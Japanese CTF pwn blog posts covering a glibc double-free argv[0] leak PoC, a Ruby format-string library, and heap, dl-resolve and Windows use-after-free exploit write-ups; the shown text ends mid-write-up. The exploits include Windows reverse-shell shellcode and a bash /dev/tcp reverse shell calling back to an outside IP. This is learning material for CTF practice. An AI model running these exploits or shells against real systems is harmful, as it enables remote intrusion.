読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

double freeを用いたargv[0] leak

double freeの時に呼ばれる関数でも__libc_message関数が呼ばれているので,argv[0] leakが可能という一行で伝わる人は時間の無駄なので,そっと閉じて欲しい.

はじめに

普通の人は,Buffer Overflow対策のためのgccのセキュリティ機構SSP(Stack-Smashing Protection)の検知時に呼ばれる__stack_chk_fail関数によるargv[0] leakの手法は知っているだろう.(katagaitaiCTF勉強会資料4回)
大雑把にこれを説明すると__stack_chk_fail関数が呼ばれた際に内部で呼ばれる__libc_message関数がargv[0]を出力するため,ここを任意のアドレスに書き換えれば,任意の値リークに繋がるという手法である.そのためにはいろいろ環境(xinetd,socat配下等)を考慮しなくてはいけないが,そこはkatagaitaiCTF勉強会資料を見て欲しい.

double freeを用いたargv[0] leak

今回は,Buffer Overflow時ではなく,double free時にも同様のことが起こることを実践する. 通常malloc関数で確保した領域はfree関数で解放するのだが,解放済みの領域を,再度解放できてしまう脆弱性をdouble freeと呼ぶ.通常はありあえないはずだが,条件分岐のバイパスや制御を奪ったあとでは簡単に二回目のfree関数を呼ぶことも難しくはないかもしれない.

現在のglibcmalloc.cでは,double freeをした際にかぎらず,fastbins関係のエラーなど,ほぼmalloc_printerr関数が呼ばれるようになっている.以下にmalloc_printerr関数を示す.

extern char **__libc_argv attribute_hidden;

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)

上記のコードの下らへんで,__libc_message関数が呼ばれており,これが__stack_chk_fail関数の中でも,引数argv[0]が取られて呼ばれるようになっている.そのため,malloc_printerr関数が呼ばれるとargv[0]が出力されるため,予めargv[0]を任意のアドレスに書き換えておけば,リークすることができるという流れである.

検証

手元でさくっと試せるように下にPocを載せておく.H@CKが出力されれば,勝ち.

// gcc poc.c
#include <stdlib.h>
char target[] = "H@CK";
int main(int argc, char* argv[]) {

  char *p;
  p = malloc(0x10);

  putenv("LIBC_FATAL_STDERR_=1"); // socat配下のため環境変数を設定
  argv[0] = target;               // argv[0]をtargetに設定

  free(p);
  free(p);                        // double free 発生

  return 0;
}

これを以下のようにして動かす.

$ socat tcp-l:8888,reuseaddr,fork exec:./a.out,stderr

いつもどおり繋いでみると,以下のような画面になるはずだ.

$ nc localhost 8888
*** Error in `H@CK': double free or corruption (fasttop): 0x00000000010a6010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f59956357e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f599563de0a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f599564198c]
H@CK[0x400600]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f59955de830]
H@CK[0x4004e9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00600000-00601000 r--p 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00601000-00602000 rw-p 00001000 00:30 608                                /home/vagrant/ctf/PoC/a.out
010a6000-010c7000 rw-p 00000000 00:00 0                                  [heap]
7f5990000000-7f5990021000 rw-p 00000000 00:00 0
7f5990021000-7f5994000000 ---p 00000000 00:00 0
7f59953a8000-7f59953be000 r-xp 00000000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59953be000-7f59955bd000 ---p 00016000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955bd000-7f59955be000 rw-p 00015000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955be000-7f599577d000 r-xp 00000000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599577d000-7f599597d000 ---p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599597d000-7f5995981000 r--p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995981000-7f5995983000 rw-p 001c3000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995983000-7f5995987000 rw-p 00000000 00:00 0
7f5995987000-7f59959ad000 r-xp 00000000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995b80000-7f5995b83000 rw-p 00000000 00:00 0
7f5995ba9000-7f5995bac000 rw-p 00000000 00:00 0
7f5995bac000-7f5995bad000 r--p 00025000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bad000-7f5995bae000 rw-p 00026000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bae000-7f5995baf000 rw-p 00000000 00:00 0
7ffdde641000-7ffdde662000 rw-p 00000000 00:00 0                          [stack]
7ffdde6f7000-7ffdde6f9000 r--p 00000000 00:00 0                          [vvar]
7ffdde6f9000-7ffdde6fb000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

上記の通り,H@CKが出力されていることがわかる.勝ち.

syscalldumpを公開

Pwnでシェルコードを書く時やROPでシステムコールを直に叩くことは多い.しかしx86x86_64などの違いや引数の順番,システムコール番号などがあやふやになり,毎回ググったり,ソースコードgrepしたりしていた.
そこで,ただ調べたいシステムコール名を与えるだけで,その引数情報やシステムコール番号を出力するだけのツールを作った.

$ syscalldump mmap
rax: 9
rdi: unsigned long addr
rsi: unsigned long len
rdx: unsigned long prot
rcx: unsigned long flags
 r8: unsigned long fd
 r9: unsigned long off

bitbucket.org

もちろん,前述した通り調べれば良いだけだが,それすらめんどくさくなってしまった私のような人にとっては便利かもしれない. 生成してあるバイナリはx86_64なので, 必要な人はビルドし直して.

ちなみに,システムコール番号とシステムコール名の対応付けだけ引きたい人は,以下のサイトを参考にすると良い.

Debianでシステムコールの番号と名前を調べる -- ぺけみさお

fsalib(format string attack library)を公開

Pwnにおいて書式文字列攻撃のコードを書くときは,たまにあり,Pythonだと以下のlibformatstrが有名だと思う.

github.com

しかし,RubyでExploitを書いている身としてはこれは使えないので,重い腰を上げようやく,自分用にlibformatstrの中で実際に書式文字列攻撃用の文字列を生成しているcore.pyRubyで書き直した.

github.com

使えそうなところは,本当にPythonRubyに直しただけで,名前などは自分が使いやすいように変えてしまったり,内部のメソッドの持ち方とかも,自分が書きやすい&理解しやすいように少し変えてしまった.

実際にDEFCON2015予選のbabyechoという問題で利用したのでexploitを載せておく.この問題はFSBがあるが,最初は読み込みサイズが小さいので,読み込みサイズの値をまず書き換えてしまってからシェルコードを流し込んで飛ぶという単純な問題である.個人的には小さい値を書き換えるぐらいはこのライブラリをわざわざ使う必要はないが,4byte書き込みとかになったらしんどいので利用している.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'
require 'fsalib'
include Shellcode

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = ''
  port = 0
end

PwnTube.open(host, port) do |t|

  # t.debug = true
  t.recv_until("bytes\n")
  t.sendline("%5$p")
  esp28 = t.recv_until("\n").to_i(16)
  esp = esp28 - 28
  puts "esp: 0x%x" % esp

  t.recv_until("bytes\n")
  payload = p32(esp + 0x10) # length
  payload << "%99c%7$n"     # 適当にlengthを書き換え
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = ""
 
  # 以下が書式文字列生成部分
  fsa = FSA.new
  fsa[esp + 1068] = esp + 68
  payload << fsa.payload(7)

  payload = payload.ljust(40, "@") # わかりやすいように40byteまでpadding
  payload << shellcode(:x86)
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = p32(esp + 0x18)
  payload << "%114514c%7$n" # ループの条件となっているFLAG変数を書き換え
  t.sendline(payload)

  t.shell

end

詳しくないが,簡易的なUsageはREADMEに書いたので見てくれ. あと,やっつけで書いたので,どうせミスってる部分あると思うし,誰か気づいたら教えてほしい.

0ctf2016 Zerostorage (pwn6)

github.com

日本語writeupないので,もしかしたら貴重かも?参考文献にあるwriteupが何やってるかわからなからないコードが多いので,exploitのコメントはがんばって書いてみた.

下調べ

  • Full RELRO, Canary, Nx, PIE
  • x86_64, stripped, dynamically linked
  • libc配布済み

厳しいバイナリ

解析

メモ管理系のバイナリで,以下のようなentry(自分で名前つけた)構造体を大域変数の配列entriesとしてもっている.

struct entry {
  int flag;
  int length;
  int *ptr; 
};

ptrメンバには,長さが0x80以下であればそのまま,それ以上であればその値を引数に取ってcallocを呼び,/dev/urandomの乱数でxorをした後にptrに格納する.利用する際には,毎回xorで復号している.

  1. Insert
    • 長さを入力して,その分だけデータを入力できる.
    • 上記のようにcallocを使ってメモリ確保
  2. Update
    • idを入力し,entry[id]が存在すれば長さを入力して,その分だけデータを入力できる.
    • 長さが以前より大きい場合はreallocが呼ばれる
  3. Merge(脆弱性)
    • 2つのid(to, from)を入力して,fromのデータをtoのデータのあとにmemcpyして,fromのentryのflagやlengthに0を代入する
    • fromのptrをfreeする   * 新しいentryにtoのptrや足し合わせた長さなどを代入する.
    • 同じidを入れた場合,fromのptrを解放した後に,新しいentryにtoのptrもとい同じptrを代入することになる(UAF)
  4. Delete
    • 入力したidのentryを消す.freeが呼ばれる.
  5. View
    • 入力したidのデータが見れる.
    • entry[id]のlength分writeする.
  6. List
    • リスト表示するだけ
  7. Exit
    • 終わり

Exploit

攻略の上で重要なのはMergeにおけるUAFである.これを用いることで,異なるentryから,free済みのchunkをいじれることになる.通常chunkのdata部分をユーザが触ることになるので,free済みの場合はmalloc_chunkのfdやbkを書き換えすることが可能になる.mchunk_sizeが小さくfastbinとして扱えるchunkであればすぐにfastbin unlink attackを行うことができるのだが,今回のchunkは最低0x80となっており,解放してもfastbinに入ることはない.
では,fastbinに入らないchunkはどうなるのかというと,unsortedbinという双方向なリストに繋がることになる.このリストにあるchunkはその後,smallbinやlargebinに振り分けられることになる.今回は,このunsortedbinを用いた攻撃手法のunsorted bin attackを使ってみる.
大雑把に説明すると,unsortedbinのbkメンバを書き換えることで,書き換えたアドレスを大きな値に書き換えることができるようになるという攻撃手法である.今回はUAFを用いてこのunsortedbin->bkを書き換える.では,どこを書き換えるのが良いだろうか. 結論から言うと,今回はlibc内の大域変数であるglobal_max_fastという値を書き換える.
malloc関数の内部で呼ばれる_int_malloc関数では,要求サイズをchecked_request2sizeで少しいじってあげて,その値を以下の条件分で比較し,真の場合はfastbinsからchunkを利用するという処理が行われる.

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))

このget_max_fast()は以下のように定義されており,大域変数global_max_fastを返すだけのマクロになっている.

#define get_max_fast() global_max_fast

このglobal_max_fast自体は,malloc_init_state関数の内部でset_max_fastマクロを使ってDEFAULT_MXFASTという値を設定している.(DEFAULT_MXFASTは,x86なら0x40, x64なら0x80) つまり,gloabl_max_fastを大きな値にしてしまえば,chunkが大きくてもfastbinsに入れることが出来るということになる.そうすれば簡単にfastbins unlink attackに持ち込むことができる.
これらをするには,ヒープやlibcのアドレスをリークする必要がある.これに関してはViewでデータもとい解放済みのchunkを表示することで,unsortedbinのfdとbkが出力されるこになり,初期だとヒープベース,&main_arena->topになっているため簡単にリークできる.
fastbins unlink attackにより書き換えが可能になった後は,entryのptrを偽装してあげれば,Updateの際に偽装したアドレスに値を書き込むことが可能になる.そのためにはアドレスとKeyでXORした結果を格納しなくてはいけないので,Viewのリークを使って,Keyもリークさせる必要があるが,XORなのでentry[id]のptrと実際のentries[id]の2つでXORすればKeyは求まるため.事前にPIEのベースアドレスなども算出しておく.
これらを使って,書き換えを行う先としては,通常ならGOTとかを書き換えてしまえば楽なのだが,今回はFull RELROなのでこの方針はだめで,__free_hookを書き換えるようにする.

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook); // __free_hookを読み取る
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0)); // 関数ポインタ実行
      return;
    }

これはfree関数が呼ばれた時に実行される関数ポインタになっており,libc内のbssセクションにあるためFull RELROの制約を受けない上に,free(p)が__free_hook(p)となるので,chunkのデータ領域に引数を設定しておけば書き換えた関数へ楽に渡すことができる.
長くなったが,以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def menu(t)
  t.recv_until(": ")
end

def insert(t, length, text)
  puts "insert"
  t.sendline("1")
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  menu(t)
end

def update(t, idx, length, text)
  puts "update"
  t.sendline("2")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  t.recv_until("\n")
  menu(t)
end

def merge(t, from_idx, to_idx)
  puts "merge"
  t.sendline("3")
  t.recv_until(": ")
  t.sendline(from_idx.to_s)
  t.recv_until(": ")
  t.sendline(to_idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def delete(t, idx)
  puts "delete"
  t.sendline("4")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def view(t, idx)
  puts "view"
  t.sendline("5")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  no = t.recv_until(":\n")
  text = t.recv_until("\n")
  [no, text]
end

PwnTube.open(host, port) do |t|

  offset_top = 3925944
  offset_pie = 6201344 # pie_baseとlibc_base間のオフセット
  offset_gloabl_max_fast = 3935040

  menu(t)
  
  # 解放予定chunk(delete)
  insert(t, 8, "WillFree") # 0

  # 対consolidate(UAF1) & system関数の引数用
  insert(t, 8, "/bin/sh\x00") # 0, 1

  # 解放予定chunk(merge)
  insert(t, 8, "WillFree") # 0, 1, 2

  # 対consolidate(UAF1)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3

  # 対consolidate(UAF2)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4

  # fastbins unlink attackのときにentries[5]を利用
  # entries[5]をmalloc_chunkとして捉えた時以下のようになる
  # entries[5].flag   -> mchunk_prev_size
  # entries[5].length -> mchunk_size
  # entries[5].ptr    -> fd
  # 後にcallocする際にサイズチェックされるので
  # そのchunkのサイズと同じlengthにしておく
  insert(t, 0x90, "G" * 0x90) # 0, 1, 2, 3, 4, 5

  delete(t, 0)                # 1, 2, 3, 4, 5

  # UAF1
  # entries[2].ptrがunsortedbinに入る
  # unsortedbin->fd => heap_base
  # unsortedbin->bk => &main_arena->top
  merge(t, 2, 2)              # 0, 1, 3, 4, 5
  
  # entries[0]経由で,UAF発生
  heap_base, top = u64(view(t, 0)[1])
  libc_base       = top - offset_top
  global_max_fast = libc_base + offset_gloabl_max_fast
  pie_base        = libc_base + offset_pie
  global_entries  = pie_base + 0x203060
  #global_entries  = 0x555555554000 + 0x203060
  libc_free_hook  = libc_base + 0x3c0a10
  libc_system     = libc_base + 0x46590
  
  puts "pie_base 0x%x" % pie_base
  puts "entries 0x%x" % global_entries
  puts "heap base 0x%x" % heap_base
  puts "libc base 0x%x" % libc_base
  puts "libc_free_hook 0x%x" % libc_free_hook
  puts "libc_system 0x%x" % libc_system

  # unsortedbinに繋がっていたchunkがcallocで返される
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5
  
  # unsortedbin->bk = gloabl_max_fast - 0x10
  update(t, 0, 16, "GOMIGOMI" + p64(global_max_fast - 0x10))
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6
  
  # UAF2
  merge(t, 4, 4) # 0, 1, 2, 3, 5, 6, 7

  # UAF2を利用してentries[7]経由でentries[4].ptrのfdを
  # &entries[5]に書き換え
  update(t, 7, 8, p64(global_entries + 5 * 24))
  
  # unlink
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6, 7

  # callocが&entries[5].ptrを返す
  # 24 = sizeof(struct entry)
  # entries[8].length = 24 * 3 + 8
  # entries[8].ptr = &entries[5]
  insert(t, 24 * 3 + 8, "G" * (24 * 3 + 8)) # 0, 1, 2, 3, 4, 5, 6, 7, 8

  # entries[5].ptrから24 * 3 + 8 分write
  # entires[8].ptrまでがleakする
  # KeyとXORされた&entries[5]が分かる
  leak = u64(view(t, 8)[1])[9]
  key = leak ^ (global_entries + 5 * 24 + 16)
  puts "[+] key 0x%x" % key

  # 8byte paddingを入れればentries[6]になる
  payload = "GOMIGOMI"                 # entries[5].ptr
  payload << p64(1)                    # entries[6].flag
  payload << p64(0x8)                  # entries[6].length
  payload << p64(key ^ libc_free_hook) # entries[6].ptr
  update(t, 8, payload.length , payload)

  # free_hookをsystemに書き換え
  update(t, 6, 8, p64(libc_system))

  # entries[1]を削除
  # free_hook起動
  t.sendline("4")
  t.recv_until(": ")
  t.sendline("1")

  t.shell
end

以下が実行結果である.これは自分のlibcだが,配布libcでもオフセットさえ変えればシェルを取ることができた. f:id:encry1024:20170303102912p:plain

感想

久しぶりにmalloc.cを読み返したりしながら,unsorted周りとかを見直すことができ,House of Forceの記事などで呼んだときよりも精確にfastbins周りのことについても学ぶことができたし,global_max_fastを書き換えて全部fastbinsにしちゃうという超絶テクも学ぶことができて楽しい問題だった.__free_hookに関しても実際に使ったことはなかったので良い経験になった.
そんなことは正直,今はどうでもよくて午後に本日公開のアサシンクリードの映画を見に行くので,めちゃくちゃ楽しみという気持ちと午後に成績発表があり胃が痛いという気持ち.

参考文献

Hack.lu2013 Breznparadisebugmachine (pwn500)

katagaitai CTF勉強会#8関東|medの午後問題として扱われた問題.WindowsのPwn問題ということで新鮮で面白かった.exploitコード自体は勉強会スライドとなんら変わりはないので,特に面白くはないと思うが,せっかく参加したので記事にしておく.

環境準備

  • ホストMacBookPro
    • Hopper, Ruby
    • こいつからexploitをゲストに向かって投げる
  • ゲストWindows Server2012無印
    • x86dbg, rp++, その他Windowsバイナリ解析に便利なツール
    • Windows Firewallを無効化
  • リバースシェル用の外部サーバ
    • ポート番号5555でlisten

下調べ

Windowsのセキュリティ機構もLinuxとほぼ変わらず,Linux用語を用いると以下のセキュリティ機構が付いている.
ASLR, PIE, RELRO, NXbit
またC++バイナリで,vector(STL), threadなどが使われていたりする.

解析

オーブンに入れて,プレッツェルなど3種類(Brezel, Laugenstangerl, Semmel)を焼いたり,ロボットに任せたりできるシステム.食べ物をオーブンに入れる際には,オーブンの番号や焼く時間,メモなどを格納することができる.また取り出す処理や,オーブンに入っている食べ物のAAを表示したりいろいろ機能が豊富で解析範囲が広い.ユーザーとのやりとりをするスレッド以外に,ロボットに任せる処理ではスレッドを新しく作り処理を行っている.
脆弱性としては,AAを表示する際に,ユーザの指定した種類のものでAAを表示する形式になっているので,小さいサイズが入っているオーブンに対して,大きいAAサイズを選択すると大幅にleakが発生する.さらに,SemmelだけInsertするときに後ろの方にヒープのポインタが保存されるので,これをリークするといろいろ便利. 他にもスレッド2の方では,UAFのバグが存在する(ここが分からずに当日を迎えた).

Exploit

大まかには,leakを使って,ヒープやバイナリのアドレスを求めて,ヒープベースやバイナリベースを算出後,UAFを使って,Editでvtableを上書きして,stack pivotして,ROPでmprotectに相当するVirtualProtectで実行権限を付与してあげて,シェルコードを実行させる方針. 以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'


host = '10.211.55.18'
port = 27015

if(ARGV[0] == 'r')
  host = 'ctf.fluxfingers.net'
  port = 1340
end

B, L, S = 0, 1, 2
ON, OFF = 0, 1

# $ nc -l 55555
lhost = "10.211.55.2"
lhost = "150.95.129.191" if(ARGV[0] == 'r')
lport = 55555

puts "[+] listen 150.95.129.191:55555"
puts `nslookup alicemacs.com`.split("answer:\n")[1]

# https://gist.github.com/Charo-IT/70bca3ee57eac4b0d167614ac5f23406
sc = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" +
"\xdf\xe0\xff\xd5\x97\x6a\x05\x68#{lhost.split(".").map{|a| a.to_i.chr}.join}\x68\x02" +
"\x00#{[lport].pack("S>")}\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" +
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5" +
"\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

def countdown(t)
  t.times do |i|
    print i
    print "."
    sleep(1)
  end
  puts ""
end

def menu(t)
  t.recv_until("[8] Quit\n\n")
end

def insert(t, type, time, slot, text)
  puts "Insert #{slot}"
  t.sendline("0")
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  t.recv_until(": \n\n")
  t.sendline(time.to_s)
  t.recv_until(": \n\n")
  t.sendline(slot.to_s)
  t.recv_until(": \n\n")
  t.sendline(text)
  menu(t)
end

def remove(t, slot)
  puts "Remove #{slot}"
  t.sendline("1")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  menu(t)
end

def info(t, type, slot)
  puts "Info #{slot}"
  t.sendline("2")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  menu(t)
end

def edit(t, slot, text)
  puts "Edit #{slot}"
  t.sendline("3")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until(":\n\n")
  t.sendline(text.to_s)
  menu(t)
end

def robot(t, cond)
  if cond == ON
    puts "Robot on"
  elsif cond == OFF
    puts "Robot off"
  else
    raise "conditon error in robot"
  end
  t.sendline("4")
  t.recv_until("\n\n")
  t.sendline(cond.to_s)
  menu(t)
end

def oven(t, cond)
  if cond == ON
    puts "Oven on"
    t.sendline("5")
  elsif cond == OFF
    puts "Oven off"
    t.sendline("6")
  else
    raise "conditon error in oven"
  end
  
  menu(t)
end


PwnTube.open(host, port) do |t|

  heap_offset = 0x37c8
  
  insert(t, S, 30, 0, "GOMI")
  insert(t, S, 30, 1, "GOMI")
  insert(t, L, 30, 2, "LEAK")
  
  r = info(t, L, 1).split("\n\x00")[1]
  
  heap = u32(r[158...162])[0]
  heap_base = heap - heap_offset

  # for remote
  unless heap_base & 0xfff == 0
    heap_base += 0x1000 - (heap_base & 0xfff)
  end
  vtable = u32(r[174...178])[0]
  bin_base = vtable - 0x10f70
  
  puts "heap 0x%x" % heap
  puts "heap_base 0x%x" % heap_base
  puts "vtable 0x%x" %  vtable
  puts "bin_base 0x%x" % bin_base

  insert(t, B, 30, 3, "FOOD")
  insert(t, B, 3, 4, "VICT")
  oven(t, ON)
  countdown(15)
  oven(t, OFF)
  robot(t, ON)
  countdown(5)
  robot(t, OFF)
  remove(t, 3)

  food = "AAAA" * 2
  food << p32(bin_base + 0x1b24) # stack pivot
  food << p32(bin_base + 0x104b) # ret2ret
  food << "AAAA" * 3
  food << p32(bin_base + 0xc877) # pop eax
  food << p32(bin_base + 0xe008) # VirtualProtect@.idata
  food << p32(bin_base + 0x76b9) # jmp [eax]
  food << p32(heap + 0x67c)      # ret addr -> Shellcode
  food << p32(heap_base)         # arg1 -> lpAddress
  food << p32(0x5000)            # arg2 -> dwSize
  food << p32(0x40)              # arg3 -> flNewProtect(RWX)
  food << p32(heap_base)         # arg4 -> lpflOldprotect
  food << sc
  food = food.ljust(0x230)       # padding
  victim = p32(heap + 0x648)     # vtable pointer
  victim = victim.ljust(0x400)   # padding

  edit(t, 2, food + victim)

  oven(t, ON)
  
  t.interactive
  
end

外部のサーバでは,$ sudo nc -l 55555で待ち受けて,上記のexploitを実行する.
Hack.luはサーバを今もなお稼働中なので本番サーバで試した結果が以下である.ローカルでもシェルを取ることはできた.

f:id:encry1024:20170227205518p:plain

感想

Windows問はコスパが悪いが,ここぞという時に解けるとデカイという意見に同じで,やっておいて損は無かったと思うし,何より解析したり,Exploitを書くために検証したりするのが楽しかった.問題自体の脆弱性発見パートで詰んだ勢で,UAFが苦手だとわかったので,Linuxの方でもUAFはちゃんと気付けるよう精進したい.

HITCON CTF2016 Quals blinkroot (pwn 200)

katagaitai CTF勉強会#8関東|medの午前問題として扱われた問題.いわゆるdl-resolve解法について学べる問題.午前午後共に詳しくはスライドを見れば乗っているので,割愛する.とりわけスライド通りのexploitで面白くないと思う.

下調べ

  • Canary, NXが有効
  • libcが配布

解析

バイナリ自体は小さくて,盛大にオーバーフローしてripは簡単に奪うことができる.さらに任意のところへの値書き込みも行うことができる.また,ファイルディスクリプターの0,1,2はcloseされてしまう.

Exploit

linkmapを偽装してあげる.そのためにdynstrやdynsymセクションなど必要なものをいい具合に指すように配置する.読み込み後に呼ばれるのはputs関数なので,puts関数を読んだ際に,system関数が呼ばれるようにしてあげると入力値もうまく書き換えた関数に渡すことができて良い.
もう一点考慮すべきは,標準入出力等がcloseされてしまうので,bashの機能を使って/dev/tcp/host/portの形でリバースシェルを貼る.正直ここらへんのbashの機能とかを精確に把握しているわけではないので一回ぐらいはちゃんと確認したほうがいいなという気持ちになった. 以下にexploitを示す.

require 'pwnlib'

offset_system = 0x45390
offset_read   = 0xf6670

if ARGV[0] == "r"
  offset_system = 0x46590
  offset_read   = 0xeb6a0
end

=begin
.got.plt
0x600b40 -> dynamic section address 
0x600b48 -> link_map address -> 0x600bd0
0x600b50 -> _dl_runtime_resolve GOT
_dl_runtime_resolve(link_map, reloc_arg)
=end

# for local
#CMD = ";bash -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'"
# for remote
CMD = ";bash -c 'bash -i >& /dev/tcp/150.95.129.191/12345 0>&1'"

gotplt_addr   = 0x600b40
buf_addr      = 0x600bc0
data_addr     = 0x600B90
fake_linkmap  = 0x600bd0
symtab_addr   = fake_linkmap + 0x100
reloc_addr    = fake_linkmap + 0x140
strtab_addr   = fake_linkmap + 0x180
reloc_arg     = 1 
offset_system = offset_system - offset_read

linkmap = ""
linkmap << p64(offset_system) # l_addr 
linkmap << CMD.ljust(0x60, "\x00")
linkmap << p64(strtab_addr)   # strtab -> 0x6009e8 + 8 -> .dynstr
linkmap << p64(symtab_addr)   # symtab -> 0x6009f8 + 8 -> .dynsym
linkmap << p64(0) * 16
linkmap << p64(reloc_addr)    # reloc  -> 0x600a68 + 8 -> .rela.plt

reloc = ""
reloc << p64(0)
reloc << p64(reloc_addr + 0x18 - reloc_arg * 0x18)
reloc << p64(0)
reloc << p64(data_addr - offset_system)
reloc << p64(7)
reloc = reloc.ljust(0x40, "\x00")

symtab = ""
symtab << p64(0)
symtab << p64(0x600b70)
symtab << p64(0)
symtab = symtab.ljust(0x40, "\x00")

payload = p64(gotplt_addr - buf_addr) 
payload << p64(fake_linkmap)
payload << linkmap + symtab + reloc
payload = payload.ljust(1024, "\x00")
print payload

実行結果は取り忘れたが,katagaitaiCTF勉強会当日にシェルは取れた.

感想

dl-resolve自体は今までも複数回使ってきたがlinkmapの偽装は初めてだったので勉強になった.ただもっと,linkmapの構造体の定義とかそこら辺周りをしっかり見直さないと実践で使えるほどは身につかないと感じた.

HITCON CTF2016 Quals Secret Holder (pwn 100)

Pwncampでやった問題 其の壱(になる予定だったが実質終えたのはこれしかない) 実力不足だからか100点に思えなかった.

下調べ

  • 64bit, dnyamically link, stripped
  • Partial RELRO, No PIE
  • libcはわかってることにした

解析

主に以下の3つのコマンドが存在する.

